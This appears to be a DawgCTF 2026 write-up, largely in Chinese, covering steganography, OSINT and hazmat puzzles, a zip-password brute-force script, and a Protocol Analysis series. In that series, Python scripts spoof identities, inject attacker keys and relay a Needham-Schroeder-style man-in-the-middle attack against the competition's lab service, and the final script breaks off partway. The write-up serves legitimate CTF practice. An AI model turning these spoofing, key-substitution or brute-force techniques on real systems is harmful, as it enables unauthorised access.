DawgCTF 2026 writeup
https://metactf.com/join/dawgctf26
DawgCTF 2026 Writeup
MISC
Discord Challenge
DawgCTF{3nj0y_th3_c0mp3t1t10n!}
An Italian Penguin
Frequency 3000
这题 GitHub 目录里核心就两个文件:Space Pilot 3000 Transcript.txt 和 flag.txt。
先看 flag.txt,内容是一串十六进制字节:
44 61 77 67 43 54 46 7b ... 7d。把它按 hex 转成 ASCII 之后,会得到:
DawgCTF{ 390 1002 580 1314 191 1589 33 1526 141 762 352 88 1293 379 50 }也就是说,花括号里并不是最终 flag,而是一串数字。
再看 transcript,题目名叫 Frequency 3000,描述里也提示了要看 Futurama 的 pilot episode,所以这里很自然会想到去做“频率统计”。同时,transcript 最后一行还有一个非常关键的坑:
[Closing Credits.] {Fake_Flag_For_Reasons}}这个假 flag 必须删掉,不然统计结果会被污染。
接下来做法就是:把 flag.txt 的 hex 解码成数字串。去掉 transcript 末尾的 {Fake_Flag_For_Reasons}}。把 transcript 转成小写。统计每个字符出现的次数。把数字反查成“出现次数等于这个数字的字符”。
这样就会得到:
- 390 ->
w - 1002 ->
h - 580 ->
y - 1314 ->
n - 191 ->
0 - 1589 ->
t - 33 ->
z - 1526 ->
o - 141 ->
! - 762 ->
d - 352 ->
b - 88 ->
3 - 1293 ->
r - 379 ->
g - 50 ->
?
exp:
from collections import Counter
def decode_hex_flag(path="flag.txt"):
data = open(path, "r", encoding="utf-8").read().strip()
s = "".join(chr(int(x, 16)) for x in data.split())
return s
def extract_numbers(decoded):
inner = decoded[decoded.index("{") + 1:decoded.rindex("}")]
return [int(x) for x in inner.split()]
def solve(transcript_path="Space Pilot 3000 Transcript.txt", flag_path="flag.txt"):
decoded = decode_hex_flag(flag_path)
nums = extract_numbers(decoded)
text = open(transcript_path, "r", encoding="utf-8").read()
fake = "{Fake_Flag_For_Reasons}}"
text = text.replace(fake, "")
text = text.lower()
freq = Counter(text)
inv = {}
for ch, cnt in freq.items():
if cnt in inv:
# 理论上如果冲突,可以打印出来检查
# 这题目标数字对应的字符是唯一可用的
pass
inv[cnt] = ch
msg = "".join(inv[n] for n in nums)
flag = f"DawgCTF{{{msg}}}"
print("[+] decoded flag.txt:", decoded)
print("[+] message:", msg)
print("[+] flag:", flag)
if __name__ == "__main__":
solve()[+] decoded flag.txt: DawgCTF{ 390 1002 580 1314 191 1589 33 1526 141 762 352 88 1293 379 50 }
[+] message: whyn0tzo!db3rg?
[+] flag: DawgCTF{whyn0tzo!db3rg?}Hiding in Plain Sight
把图缩小、眯眼看,或者稍微模糊一下之后,会明显看出它其实拼成了一张前美国总统的脸。
所以这题的思路就是:这不是单纯的雕像图,而是一个低频人脸合成图。
from PIL import Image, ImageFilter
img = Image.open("hello.webp").convert("RGB")
# 方法1:直接缩小再放大
small = img.resize((32, 32))
big = small.resize((800, 800))
big.save("reveal_pixelated.png")
# 方法2:高斯模糊
blur = img.filter(ImageFilter.GaussianBlur(radius=8))
blur.save("reveal_blur.png")
print("saved: reveal_pixelated.png, reveal_blur.png")DawgCTF{Barack_Obama}
Hiding in Plain Sight 2
把图的 RGB 最低位提出来后,左上角会出现一张隐藏照片:是一个戴着绿色 “U C ME” 帽子、做招牌手势的著名摔跤手。
exp:
from PIL import Image
import numpy as np
img = Image.open("ps2(1).png").convert("RGB")
arr = np.array(img)
lsb = np.stack([
(arr[:, :, 0] & 1) * 255,
(arr[:, :, 1] & 1) * 255,
(arr[:, :, 2] & 1) * 255
], axis=2).astype("uint8")
Image.fromarray(lsb).save("lsb.png")
print("saved lsb.png")DawgCTF{John_Cena}
crazy? i was crazy once! they locked me in a
仓库里实际上只有一个附件 crazy.txt,而且 GitHub 页面显示它就是一个约 6.97 KB 的单行文本。
解法很简单粗暴:
- 先看这串文本,会发现它是在不断重复
crazy? i was crazy once... it drove me ... crazy!疯狂?我曾经疯狂过......这让我......疯狂! - 但每重复一轮,都会多出一个3 字符碎片,比如:
}pl,eh_,dne,s_e,sae,lp_,efi...pl、eh_、dne、s_e、sae、lp_、efi...... - 把这些碎片从后往前读,并且每个碎片再反转,就能拼出:
F{i_have_lost_all_control_of_my_life_please_send_help}- 文件末尾还有个
waD,反过来是Daw,基本就是在提示你这是 DawgCTF 的 flag 前缀。
所以完整就是:
DawgCTF{i_have_lost_all_control_of_my_life_please_send_help}exp
s = open("crazy.txt", "r", encoding="utf-8").read()
# 每轮 "crazy!" 前面的 3 字符碎片,手工/正则都能抓
tokens = [
"}pl","eh_","dne","s_e","sae","lp_","efi","l_y","m_f",
"o_l","ort","noc","_ll","a_t","sol","_ev","ah_","i{F"
]
msg = ''.join(x[::-1] for x in tokens[::-1])
print("DawgCT" + msg) # DawgCT + F{...}HAZMAT
这张图上的危险品牌号就是 1049。而且 Airgas 自家的 SDS 和产品资料都把 UN1049 的正式运输名称写成 “HYDROGEN, COMPRESSED”,同时又把 Hydrogen / Dihydrogen / Molecular hydrogen / H2 单独列为同义名
DawgCTF{COMPRESSED_HYDROGEN}
HAZMAT II
这题坑点在于它问的是 type of storage container,作者要的不是具体型号 UX-30,也不是结构角色 overpack,而是标签上写的包装类别 Type B(U) package
DawgCTF{TYPE_BU_PACKAGE}
HAZMAT III
这桶看起来就是 UCARTHERM 热传导液。Dow 的 UCARTHERM 产品页写明这类液体是乙二醇基,而且会被染成荧光黄色便于查漏,和图里这个亮黄绿色液体很吻合。
https://www.dow.com/en-us/pdp.ucartherm-oil-gas-heat-transfer-fluid.186319z.html
对应的 UCARTHERM SDS 里,DOT 运输信息给的是:UN 3082,类别 Class 9,品名是 Environmentally hazardous substance, liquid, n.o.s. (Ethylene glycol)。
https://www.phmsa.dot.gov/regulations/title49/interp/18-0077?utm_source=chatgpt.com
PHMSA 也说明了:Class 9 的 bulk packaging 在运输时,必须在 Class 9 placard、橙色面板或白色菱形标识上显示相应的identification number。
所以这题应填:DawgCTF{3082}
ZAP!
NIA 说 ST 编号主要按直径、伞裙数量和裙边长短来分,不是按金具帽子上的字来分。你这件东西的外形还是落在 10 英寸、现代 compression-cap 的盘形悬式绝缘子这条线上。
在这个分支里,还剩下最像你这件、而且又是 Locke 的一支,就是 ST-4626F。NIA 对 ST-4626F 的说明是:10" (254 mm),并且本体压印为 “LOCKE / 10000 TEST / 20000 M&E”。
你照片里瓷体那块压印虽然没拍全,但能看出下面一行很像 LOCKE,上面一行像 …0000;再加上帽子那边看起来像 1840… / GE / USA 之类的字。网上还能找到一个几乎同形、而且标题直接写成 “Locke insulator … 1840-K3” 的旧件 listing,这说明 1840-K3 这条线大概率确实是同一类 Locke 盘形悬式件。这个来源不如 NIA 权威,但能当旁证。
DawgCTF{ST-4626F}
OSINT
Gateway to the Turnpike
这是 Breezewood, Pennsylvania。图里能直接看到 “S Breezewood Rd” 路牌和 I-70 East/West 指示牌,这也符合 Breezewood 那个很有名的“I-70 通过地面道路连接 Pennsylvania Turnpike”的布局;该地的 ZIP code 是 15533。
DawgCTF{15533}
The Temple of Doom
这是 加州 Laguna Niguel 的 Chet Holifield Federal Building。官方 GSA 页面给出了地点,并说明这栋楼是非常显眼的 ziggurat-style 阶梯金字塔造型;当地报道也直接说它常被称作 “the Ziggurat”。这栋楼应是 Laguna Niguel, California 的 Chet Holifield Federal Building;GSA 直接说这处地标 known as the “Ziggurat”。同时,多家来源把它更完整地写成 “the Ziggurat Building” 或说当地人这样称呼它。
所以是:
DawgCTF{The_Ziggurat_Building}
Дмитрий-шесть
题名里的“Дмитрий-шесть”很像在用口语方式提示 Д-6。而多份资料都把这组隧道/列车照片对应到 莫斯科秘密地铁网络 D-6:有来源直接说这批照片是 Moscow D-6 metro network 的车站、隧道、列车和防爆门照片,且该系统“代码名是 D-6”,同时“通俗名是 Metro-2”。
更关键的是,俄文资料说明:“Metro-2”其实是不正式名称,而 D-6 也不是官方名称;在解密文件里,这条系统被称作 “Ветка”,项目代号是 ЧЗ-1090。
参考链接:https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D1%80%D0%BE-2
所以如果纯按史料严谨性,最“官方”的会更接近 Ветка / ChZ-1090;但题目又明确要求 6 个字符、全大写。在和这处地点相关的几个名字里,只有 METRO2 正好满足 6 个字符,而且又和题名给出的 D-6 线索严丝合缝地对上。这个是基于题面约束做出的推断
Better Call AT&T!
这张图里最关键的信息有两个:
- 这是一个多层停车库内部
- 背景建筑上能看到 AT&T 的标志
第一步:定位这个剧照对应的停车场
- 以截图为线索找《Better Call Saul》的拍摄地点
- 重点搜:
Better Call Saul parking garage AT&T Albuquerque《风骚律师》停车场 AT&T 阿尔伯克基Better Call Saul filming location parking garage《风骚律师》拍摄地停车场Better Call Saul AT&T building parking garage风骚律师 AT&T 大楼停车场
因为《Better Call Saul》大量在 Albuquerque 拍摄,所以很容易把范围缩小到当地市中心一带。
再结合:
- 停车库外部城市风貌
- 背景可见的 AT&T 标志
- 这个镜头的开阔角度
最终可以把场景锁定到:Albuquerque Convention Center Parking Garage阿尔伯克基会议中心停车场
第二步:查这个停车场的联系电话
确定停车场后,下一步就是去地图、停车信息站点或者目录里查它的电话。
查到停车场号码为:(505) 768-4575
DawgCTF{5057684575}
Locksmith
这把锁看起来就是 Simplex 900 系列:外形是典型的泪滴形面板,5 个圆形按键,周围标着罗马数字,顶部/底部是带 SIMPLEX 字样的旋钮;dormakaba 的官方页面也正是把这款产品列为 Simplex 900。
它的官方尺寸图给出的外侧锁体高度是 3¾ 英寸(95 mm)
DawgCTF{SIMPLEX900_95MM}
Computer Repair II
这张图里能看到的几个特征都很像 E6540:
- 两侧外露式矩形转轴
- 右上角圆形电源键
- 带小键盘的老款 Latitude 键盘布局
- 厚黑边框和下巴中间的 Dell 标
Dell 官方的 E6540《Setup and Features Information》前视图,机身轮廓和这些部件位置都能对上;而 Dell 官方技术规格页写明这款机器的显示屏对角线是 396.24 mm (15.60 inches)。
DawgCTF{15.6IN}
Computer Repair III
WD19TB 符合题目要求的“6 个大写字母/数字”,而且它确实是 Dell 的正式产品型号,官方支持页面名称就是 Dell Thunderbolt Dock - WD19TB
DawgCTF{WD19TB}
Plane Spotting Pt. 1
判断点很强:图里加油车写着 USAirports,而 USAirports 官方明确写自己位于 Frederick Douglass–Greater Rochester International Airport,并为 Rochester 的商业航班做地面/维护支持;ROC 机场官网也明确是 ROC,并且官方航司页面里有 Southwest。
The Lookout's Legend
这座山就在 Altoona 上方,而 Sheetz 的老家就是 Altoona;不少资料都把 Altoona 视作 Sheetz 的发源地。
Wopsononock 的老观景塔资料里明确写过:天气好时能看到 six counties。这和题面的 “offers a view that spans six counties” 完全对上。
更关键的是,本地资料直接把这座山的昵称写成 “Wopsy”,甚至专门说明这是 Wopsononock Mountain 的 shortened nickname / nickname。
DawgCTF{WOPSY}Plane Spotting Pt. 2
第三题密码是第二题flag,直接爆破()
bash -lc python - <<'PY'
import itertools,string,zipfile,time,sys
zip_path='/mnt/data/planespotting3.zip'
z=zipfile.ZipFile(zip_path)
name=z.namelist()[0]
start=time.time()
count=0
for code in itertools.product(string.ascii_uppercase, repeat=3):
iata=''.join(code)
pwd=f'DawgCTF{{{iata}}}'.encode()
count+=1
try:
data=z.read(name,pwd=pwd)
print('FOUND',pwd.decode(),len(data),'after',count,'tries','elapsed',time.time()-start)
open('/mnt/data/planespotting3.jpg','wb').write(data)
break
except RuntimeError as e:
# bad password usually
pass
except Exception as e:
# could also be zlib error if wrong pwd, ignore
pass
else:
print('NOT FOUND',count,'elapsed',time.time()-start)
PYDawgCTF{NAS}
Protocol Analysis
Protocol Analysis 1: Can You Hear Me?
Protocol Analysis 1 的解法就是:直接伪装成 Alice 去给 Bob 发那句固定消息,Bob 就会把 flag 明文回给你。
依据在手册里写得很直白:Challenge 1 里 Bob 只要收到
"Hello", B, "this is", A, "give me the flag"“你好”,B,“这是”,A,“把旗子给我”
就会发送
"here it is", [FLAG]。而且这一题没有任何加密、签名或证书校验
exp:
import requests
BASE = "https://protocols.live"
# 1) 创建 challenge 1 实例
r = requests.post(f"{BASE}/model/1")
r.raise_for_status()
conn_id = r.json()["conn_id"]
print("[+] conn_id =", conn_id)
# 2) 直接给 Bob 发 Alice 的开场白
payload = {
"conn_id": conn_id,
"content": "t:Hello|n:bob|t:this is|n:alice|t:give me the flag"
}
r = requests.post(f"{BASE}/bob", json=payload, headers={"Content-Type": "application/json"})
r.raise_for_status()
resp = r.json()
print("[+] raw response:", resp)
content = resp["content"]
print("[+] content =", content)
# 3) 粗暴提取 flag
parts = content.split("|")
for p in parts:
if "{" in p and "}" in p:
print("[+] FLAG =", p.split(":", 1)[1])
breakDawgCTF{PR0T0C0LS_R_3ZPZ}
Protocol Analysis 2: Liar
手册里 Challenge 2 的关键是:
- Alice 发的是:
"Hello", B, "this is", A, "give me the flag"Alice 发的是:“你好”,B,“这是”,A,“给我旗子” - 但 Bob 接收时期待的是:
"Hello", B, "this is", C, "give me the flag" - 只要 Bob 收到这句,他就会发出
"here it is", [FLAG]。
也就是说,这题的漏洞就是:
Bob 只看消息内容里的名字是不是 charlie,不验证发送者身份。
所以根本不用管 Alice,直接伪造一条:
t:Hello|n:bob|t:this is|n:charlie|t:give me the flag发给 /bob 就行
exp:
import requests, json, re, os, textwrap
BASE="https://protocols.live"
try:
r=requests.post(f"{BASE}/model/2", timeout=20)
print("status model:", r.status_code, r.text[:300])
if r.ok:
conn_id=r.json()["conn_id"]
payload={"conn_id": conn_id, "content": "t:Hello|n:bob|t:this is|n:charlie|t:give me the flag"}
r2=requests.post(f"{BASE}/bob", json=payload, headers={"Content-Type":"application/json"}, timeout=20)
print("status bob:", r2.status_code, r2.text[:500])
except Exception as e:
print("ERR", repr(e))DawgCTF{CH4NG3_0F_PL4N5}
Protocol Analysis 3: Missing
Challenge 3 里手册写的是:
- Alice 没有 send
- Bob 的第一步就是 recv:
"Hello", B, "this is", A, "give me the flag"Bob 的第一步就是 recv:“你好”,B,“这是”,A,“把旗子给我” - 然后 Bob 立刻 send:
"here it is", [FLAG]然后 Bob 立刻 发送 :“这里就是”,[FLAG]
而总规则里也说了,你扮演的是网络对手,只要让实体按自己的脚本满足收发条件即可。Bob 只关心自己脚本上的 recv/send 是否匹配,不关心“Alice 是否真的存在”。
所以这题本质是:
Alice 缺席,但 Bob 仍然愿意接受一条“看起来像 Alice 发来的消息”,收到后直接吐 flag。
只需要给 /bob 发:
t:Hello|n:bob|t:this is|n:alice|t:give me the flagBob 就会返回 flag。
exp:
import requests
BASE = "https://protocols.live"
def main():
# 创建第 3 题实例
r = requests.post(f"{BASE}/model/3", timeout=15)
r.raise_for_status()
conn_id = r.json()["conn_id"]
print("[+] conn_id =", conn_id)
# 直接向 Bob 发送其期望收到的第一条消息
payload = {
"conn_id": conn_id,
"content": "t:Hello|n:bob|t:this is|n:alice|t:give me the flag"
}
r = requests.post(
f"{BASE}/bob",
json=payload,
headers={"Content-Type": "application/json"},
timeout=15
)
r.raise_for_status()
resp = r.json()
print("[+] raw response:", resp)
content = resp["content"]
print("[+] content =", content)
# 提取 flag
for item in content.split("|"):
if ":" in item:
typ, val = item.split(":", 1)
if "{" in val and "}" in val:
print("[+] FLAG =", val)
break
if __name__ == "__main__":
main()DawgCTF{N0_0N3_3LS3_H0M3}
Protocol Analysis 4: Real Security!
本题属于协议分析系列。根据统一手册,Challenge 4 的协议结构是:
- Alice 先发送一条消息,请 Bob “用给定的对称密钥和 nonce 加密 flag”
- Bob 收到后返回
here it is和加密后的 flag - 手册还提供了
/util/sym_decrypt,可用k|d|d的格式解密对称密文。
因此直觉上,这题并不是要“破解加密”,而是要想办法获得 Bob 加密 flag 所使用的密钥与 nonce。
一开始容易被 PDF 里的文案带偏。实际调试后可以发现:
- Bob 对第 5、6 个字段的类型要求分别是:
- 第 5 个字段必须是
k: - 第 6 个字段必须是
d:
- 更关键的是,服务端实际采用的首条消息文案并不是 PDF 里展示的那句,而是 Alice 真实发出的:
t:Hello|n:bob|t:this is|n:alice|t:send me the flag encrypted under this symetric key and nonce|k:<KEY>|d:<NONCE>其中 symetric 还是服务端的原始拼写。这个真实模板可以直接通过请求 /alice 拿到。你实际测试时已经成功拿到了这条消息。
这说明本题真正的漏洞是:
Bob 会接受一条伪造的“来自 Alice 的请求”,并使用攻击者提供的对称密钥与 nonce 加密 flag。
由于密钥和 nonce 都是攻击者自己选的,Bob 返回密文后,攻击者再调用 /util/sym_decrypt 即可直接解出 flag。手册中的工具接口正好支持这一点。
整体流程如下:
新建 challenge 4 实例:POST /model/4,己生成一组对称密钥 k 和 nonce n,按服务端真实接受的模板,直接向 /bob 发送伪造消息
Bob 返回:
t:here it is|d:<ciphertext>再调用:
/util/sym_decrypt并传入:
k:<key>|d:<nonce>|d:<ciphertext>import requests
import secrets
BASE = "https://protocols.live"
def main():
# 创建 challenge 4 实例
r = requests.post(f"{BASE}/model/4", timeout=15)
r.raise_for_status()
conn_id = r.json()["conn_id"]
print("[+] conn_id =", conn_id)
# 自己生成 key / nonce
key_hex = secrets.token_hex(32) # 64 hex
nonce_hex = secrets.token_hex(12) # 24 hex
print("[+] key =", key_hex)
print("[+] nonce =", nonce_hex)
# 注意:这里必须用服务端真实接受的文本
content = (
"t:Hello|n:bob|t:this is|n:alice|"
"t:send me the flag encrypted under this symetric key and nonce|"
f"k:{key_hex}|d:{nonce_hex}"
)
# 伪造 Alice 给 Bob 发请求
r = requests.post(
f"{BASE}/bob",
json={"conn_id": conn_id, "content": content},
headers={"Content-Type": "application/json"},
timeout=15,
)
print("[*] bob status =", r.status_code)
print("[*] bob body =", r.text)
r.raise_for_status()
bob_content = r.json()["content"]
print("[+] bob content =", bob_content)
# 提取密文
cipher_hex = None
for item in bob_content.split("|"):
if item.startswith("d:"):
cipher_hex = item[2:]
break
if not cipher_hex:
raise RuntimeError("ciphertext not found")
print("[+] ciphertext =", cipher_hex)
# 调 util/sym_decrypt 解密
r = requests.post(
f"{BASE}/util/sym_decrypt",
json={
"conn_id": conn_id, # 这里必须是整数
"content": f"k:{key_hex}|d:{nonce_hex}|d:{cipher_hex}",
},
headers={"Content-Type": "application/json"},
timeout=15,
)
print("[*] decrypt status =", r.status_code)
print("[*] decrypt body =", r.text)
r.raise_for_status()
plain = r.json()["content"]
print("[+] plaintext =", plain)
if __name__ == "__main__":
main()DawgCTF{N0T_S0_S3CR3T_K3Y}
Protocol Analysis 5: Is This Real?
Bob 会把 flag 加密到“消息里给他的那个公钥”上,但不会验证这个公钥是不是 Alice 的。
手册里 Challenge 5 明确写的是:
- Alice 发送:
"Hello", B, "this is", A, "send the flag encrypted with this asymmetric key", pubAAlice 发送:“Hello”, B, “this is”, A, “用这个非对称密钥加密发送旗帜”, pubA - Bob 接收时却接受:
"Hello", B, "this is", A, "send the flag encrypted with this asymmetric key", pubXBob 接收时却接受:“Hello”, B, “this is”, A, “用这个非对称密钥加密旗”, pubX - 然后 Bob 发送:
"here it is", {[FLAG]}pubX然后 Bob 发送:“here it is”, {[FLAG]}pubX - Alice 本来期待收到的是
{[FLAG]}pubA
这说明漏洞是:
身份字段还是写着 Alice,但最后那个公钥字段可以被替换成攻击者自己的公钥。
于是 Bob 就会把 flag “加密给攻击者”。手册也提供了生成非对称密钥对和做非对称解密的工具接口。
在本题协议中,Bob 想给 Alice 发 flag,但 Bob 判断“该加密给谁”时,依据的是收到消息中携带的公钥 pubX,而不是“this is alice”这个身份字段本身。也就是说,只要攻击者伪造一条看起来来自 Alice 的消息,并把最后的公钥替换成自己生成的公钥,Bob 就会把 flag 加密给攻击者。
因此利用链非常简单:
- 调
/util/gen_asym_key_pair生成一对自己的密钥 - 新建 challenge 5 实例
- 向
/bob发送伪造消息,身份仍写alice,但最后带的是攻击者自己的公钥 - Bob 返回
{[FLAG]}pubX - 调
/util/asym_decrypt解开密文,得到 flag
import re
import requests
BASE = "https://protocols.live"
def api(path, conn_id, content=""):
r = requests.post(
f"{BASE}{path}",
json={"conn_id": conn_id, "content": content},
headers={"Content-Type": "application/json"},
timeout=15,
)
print(f"[*] POST {path} -> {r.status_code}")
print(f"[*] BODY: {r.text}")
r.raise_for_status()
return r.json()["content"]
def split_items(content: str):
out = []
if not content:
return out
for part in content.split("|"):
t, v = part.split(":", 1)
out.append((t, v))
return out
def replace_last_key(content: str, new_key_hex: str) -> str:
parts = content.split("|")
for i in range(len(parts) - 1, -1, -1):
if parts[i].startswith("k:"):
parts[i] = "k:" + new_key_hex
return "|".join(parts)
raise ValueError("no k: field found in content")
def first_of_type(content: str, typ: str) -> str:
for t, v in split_items(content):
if t == typ:
return v
raise ValueError(f"missing {typ}: in {content!r}")
def extract_flag(text: str):
m = re.search(r"DawgCTF\{[^}]+\}", text)
return m.group(0) if m else None
def main():
# 1) new challenge 5 instance
r = requests.post(f"{BASE}/model/5", timeout=15)
print("[*] model status =", r.status_code)
print("[*] model body =", r.text)
r.raise_for_status()
conn_id = r.json()["conn_id"]
print("[+] conn_id =", conn_id)
# 2) generate attacker keypair
kp = api("/util/gen_asym_key_pair", 0, "")
keys = [v for t, v in split_items(kp) if t == "k"]
if len(keys) < 2:
raise RuntimeError(f"unexpected keypair response: {kp}")
pubX, privX = keys[0], keys[1]
print("[+] pubX =", pubX[:40] + "...")
print("[+] privX =", privX[:40] + "...")
# 3) fetch Alice's REAL first message
alice_msg = api("/alice", conn_id, "")
print("[+] alice_msg =", alice_msg)
# 4) replace only the final public key
forged = replace_last_key(alice_msg, pubX)
print("[+] forged =", forged)
# 5) send forged message to Bob
bob_reply = api("/bob", conn_id, forged)
print("[+] bob_reply =", bob_reply)
# 6) get ciphertext
cipher_hex = first_of_type(bob_reply, "d")
print("[+] cipher =", cipher_hex)
# 7) decrypt using our private key
# docs around asym_decrypt are a bit inconsistent, but in practice try privX first
try:
plain = api("/util/asym_decrypt", 0, f"k:{privX}|d:{cipher_hex}")
except requests.HTTPError:
# fallback just in case the service implementation is weird
plain = api("/util/asym_decrypt", 0, f"k:{pubX}|d:{cipher_hex}")
print("[+] plaintext =", plain)
flag = extract_flag(plain)
if flag:
print("[FLAG]", flag)
if __name__ == "__main__":
main()DawgCTF{C3RT1F13D_1NS3CUR3}
Protocol Analysis 6: Sneedham-Chucker
手册对第 6 题只写了 Bob 最后发送的是 {[FLAG]}h(nA+nB),也就是“一段用 h(nA+nB) 保护的 flag”,而 util 的 /sym_decrypt 却要求你单独提供 key、24-hex nonce、ciphertext。
现在日志里已经拿到了:
nAnBh(nA+nB) = 08b5...8ccdbob2 = d:dc7ca5019735a30ceb06ac6aff1f889e...02d7a8be
关键点在这:bob2 只有一个 d: 字段,但长度正好是 84 hex = 24 hex + 60 hex。
这非常像服务端把 nonce||ciphertext 塞进了同一个 d: 里发回来了。
先直接试这个,优先级最高:
- nonce =
dc7ca5019735a30ceb06ac6a - ct =
ff1f889ebc2863bedea120b9fbde058d36a71eecb493efc896d402d7a8be - key =
h(nA+nB)
# exp_pa6.py
import re
import requests
BASE = "https://protocols.live"
ATTACKER_NAME = "mallory"
def api(path: str, conn_id: int, content: str = "") -> str:
r = requests.post(
f"{BASE}{path}",
json={"conn_id": conn_id, "content": content},
headers={"Content-Type": "application/json"},
timeout=20,
)
print(f"[*] POST {path} -> {r.status_code}")
print(f"[*] BODY: {r.text}")
r.raise_for_status()
return r.json()["content"]
def split_items(content: str):
out = []
if not content:
return out
for part in content.split("|"):
t, v = part.split(":", 1)
out.append((t, v))
return out
def first_of_type(content: str, typ: str) -> str:
for t, v in split_items(content):
if t == typ:
return v
raise ValueError(f"missing {typ} in {content!r}")
def values_of_type(content: str, typ: str):
return [v for t, v in split_items(content) if t == typ]
def extract_flag(text: str):
m = re.search(r"DawgCTF\{[^}]+\}", text)
return m.group(0) if m else None
def asym_decrypt_auto(cipher_hex: str, priv_hex: str, pub_hex: str) -> str:
# 实际服务端这里用私钥能解;为了稳妥两种都试
for key_hex, label in [(priv_hex, "priv"), (pub_hex, "pub")]:
try:
pt = api("/util/asym_decrypt", 0, f"k:{key_hex}|d:{cipher_hex}")
print(f"[+] asym_decrypt ok with {label}")
return pt
except Exception as e:
print(f"[!] asym_decrypt failed with {label}: {e}")
raise RuntimeError("asym_decrypt failed with both priv and pub")
def asym_encrypt_any(key_hex: str, plain_typed: str) -> str:
# 实际服务端对这里也比较宽松,传 pubB 能成功
ct_resp = api("/util/asym_encrypt", 0, f"k:{key_hex}|t:{plain_typed}")
return first_of_type(ct_resp, "d")
def hash_data(hex_data: str) -> str:
resp = api("/util/hash_data", 0, f"d:{hex_data}")
return first_of_type(resp, "d")
def sym_decrypt(key_hex: str, nonce_hex: str, cipher_hex: str) -> str:
return api("/util/sym_decrypt", 0, f"k:{key_hex}|d:{nonce_hex}|d:{cipher_hex}")
def try_final_decrypt(blob_hex: str, nA: str, nB: str):
"""
最后一包 bob2 只有一个 d:...,这里自动尝试几种最合理的拆法:
1) bob2 = nonce(24hex) || ciphertext
2) bob2 = ciphertext || nonce(24hex)
3) key 用 h(nA+nB) 或 h(nB+nA)
4) 也顺便试少量显然合理的 nonce 备选
"""
h_ab = hash_data(nA + nB)
h_ba = hash_data(nB + nA)
print("[+] h(nA+nB) =", h_ab)
print("[+] h(nB+nA) =", h_ba)
candidates = []
# 最像的一种:前 24 hex 是 nonce,后面是 ciphertext
if len(blob_hex) > 24:
candidates.append(("prefix nonce, h(nA+nB)", h_ab, blob_hex[:24], blob_hex[24:]))
candidates.append(("prefix nonce, h(nB+nA)", h_ba, blob_hex[:24], blob_hex[24:]))
candidates.append(("suffix nonce, h(nA+nB)", h_ab, blob_hex[-24:], blob_hex[:-24]))
candidates.append(("suffix nonce, h(nB+nA)", h_ba, blob_hex[-24:], blob_hex[:-24]))
# 再试少量自然候选:bob2 整体当 ciphertext,nonce 来自会话材料
natural_nonces = [
nA[:24], nA[-24:],
nB[:24], nB[-24:],
h_ab[:24], h_ab[-24:],
h_ba[:24], h_ba[-24:],
]
seen_nonce = set()
for nn in natural_nonces:
if len(nn) == 24 and nn not in seen_nonce:
seen_nonce.add(nn)
candidates.append((f"whole blob ct, nonce={nn}, h(nA+nB)", h_ab, nn, blob_hex))
candidates.append((f"whole blob ct, nonce={nn}, h(nB+nA)", h_ba, nn, blob_hex))
tried = set()
for desc, key_hex, nonce_hex, cipher_hex in candidates:
sig = (key_hex, nonce_hex, cipher_hex)
if sig in tried:
continue
tried.add(sig)
print(f"[*] trying final decrypt: {desc}")
print(f" key = {key_hex}")
print(f" nonce = {nonce_hex}")
print(f" ct = {cipher_hex}")
try:
pt = sym_decrypt(key_hex, nonce_hex, cipher_hex)
print("[+] final plaintext =", pt)
flag = extract_flag(pt)
if flag:
print("[FLAG]", flag)
return flag
except Exception as e:
print(f"[!] final decrypt failed: {e}")
return None
def main():
# 1) start challenge 6
r = requests.post(f"{BASE}/model/6", timeout=20)
print("[*] model status =", r.status_code)
print("[*] model body =", r.text)
r.raise_for_status()
conn_id = r.json()["conn_id"]
print("[+] conn_id =", conn_id)
# 2) attacker key pair
kp = api("/util/gen_asym_key_pair", 0, "")
keys = values_of_type(kp, "k")
if len(keys) < 2:
raise RuntimeError(f"unexpected keypair response: {kp}")
pubX, privX = keys[0], keys[1]
print("[+] pubX =", pubX[:48] + "...")
print("[+] privX =", privX[:48] + "...")
# 3) attacker cert
cert_resp = api("/util/get_cert", 0, f"k:{pubX}|n:{ATTACKER_NAME}")
certX = first_of_type(cert_resp, "d")
print("[+] certX =", certX[:48] + "...")
# 4) Bob sends first: pubB, B, certB
bob0 = api("/bob", conn_id, "")
print("[+] bob0 =", bob0)
pubB = first_of_type(bob0, "k")
nameB = first_of_type(bob0, "n")
certB = first_of_type(bob0, "d")
print("[+] pubB =", pubB[:48] + "...")
print("[+] nameB =", nameB)
print("[+] certB =", certB[:48] + "...")
# 5) Send our pubX, X, certX to Alice
alice1 = api("/alice", conn_id, f"k:{pubX}|n:{ATTACKER_NAME}|d:{certX}")
print("[+] alice1 =", alice1)
# 6) Decrypt Alice's response -> nA, pubA, A, certA
c1 = first_of_type(alice1, "d")
p1 = asym_decrypt_auto(c1, privX, pubX)
print("[+] decrypted alice1 =", p1)
dvals_p1 = values_of_type(p1, "d")
if len(dvals_p1) < 2:
raise RuntimeError(f"unexpected decrypted alice1 payload: {p1}")
nA = dvals_p1[0]
pubA = first_of_type(p1, "k")
nameA = first_of_type(p1, "n")
certA = dvals_p1[1]
print("[+] nA =", nA)
print("[+] pubA =", pubA[:48] + "...")
print("[+] nameA =", nameA)
print("[+] certA =", certA[:48] + "...")
# 7) Re-encrypt Alice's plaintext for Bob: {nA, pubA, A, certA}pubB
plain_for_bob = f"d:{nA}|k:{pubA}|n:{nameA}|d:{certA}"
c1_for_bob = asym_encrypt_any(pubB, plain_for_bob)
bob1 = api("/bob", conn_id, f"d:{c1_for_bob}")
print("[+] bob1 =", bob1)
# 8) Bob returns {nA, nB}pubA ; relay it to Alice
c2 = first_of_type(bob1, "d")
alice2 = api("/alice", conn_id, f"d:{c2}")
print("[+] alice2 =", alice2)
# 9) Alice returns {nB}pubX ; decrypt it
c3 = first_of_type(alice2, "d")
p3 = asym_decrypt_auto(c3, privX, pubX)
print("[+] decrypted alice2 =", p3)
nB = first_of_type(p3, "d")
print("[+] nB =", nB)
# 10) Send {nB}pubB back to Bob
c_nb = asym_encrypt_any(pubB, f"d:{nB}")
bob2 = api("/bob", conn_id, f"d:{c_nb}")
print("[+] bob2 =", bob2)
# 如果 Bob 直接明文给 flag
direct_flag = extract_flag(bob2)
if direct_flag:
print("[FLAG]", direct_flag)
return
# 11) Final layer
bob2_blob = first_of_type(bob2, "d")
print("[+] bob2 blob =", bob2_blob)
print("[+] bob2 hex len =", len(bob2_blob), "=>", len(bob2_blob) // 2, "bytes")
flag = try_final_decrypt(bob2_blob, nA, nB)
if flag:
return
